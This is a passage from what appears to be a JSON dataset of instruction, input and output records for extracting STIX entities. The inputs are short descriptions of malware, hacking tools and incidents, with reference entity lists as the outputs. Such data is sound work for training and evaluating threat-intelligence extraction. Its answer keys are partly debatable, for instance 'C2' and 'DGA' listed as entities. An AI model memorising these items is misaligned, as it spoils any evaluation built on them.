    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAhRat is an Android remote access tool based on the open-source AhMyth remote access tool. AhRat initially spread in August 2022 on the Google Play Store via an update containing malicious code to the previously benign application, \u201ciRecorder \u2013 Screen Recorder\u201d, which itself was released in September 2021.\n",
    "output": "<entities>AhRat|AhMyth|Android|Google Play|iRecorder \u2013 Screen Recorder</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nINCONTROLLER is custom malware that includes multiple modules tailored towards ICS devices and technologies, including Schneider Electric and Omron PLCs as well as OPC UA, Modbus, and CODESYS protocols. INCONTROLLER has the ability to discover specific devices, download logic on the devices, and exploit platform-specific vulnerabilities. As of September 2022, some security researchers assessed INCONTROLLER was developed by CHERNOVITE.\n",
    "output": "<entities>INCONTROLLER|Schneider Electric|Omron|OPC UA|CODESYS|CHERNOVITE|ICS|Modbus</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nQakBot can execute WMI queries to gather information.\n",
    "output": "<entities>QakBot</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMiner-C copies itself into the public folder of Network Attached Storage (NAS) devices and infects new victims who open the file.\n",
    "output": "<entities>Miner-C</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMaroochy Water Breach was an incident in 2000 where an adversary leveraged the local government\u2019s wastewater control system and stolen engineering equipment to disrupt and eventually release 800,000 liters of raw sewage into the local community.\n",
    "output": "<entities>Maroochy Water Breach</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPLEAD is a remote access tool (RAT) and downloader used by BlackTech in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.\n",
    "output": "<entities>PLEAD|BlackTech|East Asia|Taiwan|Japan|Hong Kong</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMailSniper can be used for password spraying against Exchange and Office 365.\n",
    "output": "<entities>MailSniper|Exchange|Office 365</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nConficker has used a DGA that seeds with the current UTC victim system date to generate domains.\n",
    "output": "<entities>Conficker|DGA</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCrutch can exfiltrate data over the primary C2 channel (Dropbox HTTP API).\n",
    "output": "<entities>Crutch|Dropbox|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDCSrv is destructive malware that has been used by Moses Staff since at least  September 2021. Though DCSrv has ransomware-like capabilities, Moses Staff does not demand ransom or offer a decryption key.\n",
    "output": "<entities>DCSrv|Moses Staff</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nStoneDrill has been observed deleting the temporary files once they fulfill their task.\n",
    "output": "<entities>StoneDrill</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nXLoader for iOS is a malicious iOS application that is capable of gathering system information.\n",
    "output": "<entities>iOS|XLoader</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMESSAGETAP stored targeted SMS messages that matched its target list in CSV files on the compromised system.\n",
    "output": "<entities>MESSAGETAP</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRiltok is banking malware that uses phishing popups to collect user credentials.\n",
    "output": "<entities>Riltok</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\ndown_new has the ability to base64 encode C2 communications.\n",
    "output": "<entities>down_new|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSDelete deletes data in a way that makes it unrecoverable.\n",
    "output": "<entities>SDelete</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nQUADAGENT encodes C2 communications with base64.\n",
    "output": "<entities>C2|QUADAGENT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTruvasys is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language. \n",
    "output": "<entities>Truvasys|PROMETHIUM|Delphi</entities>"
  },
  {
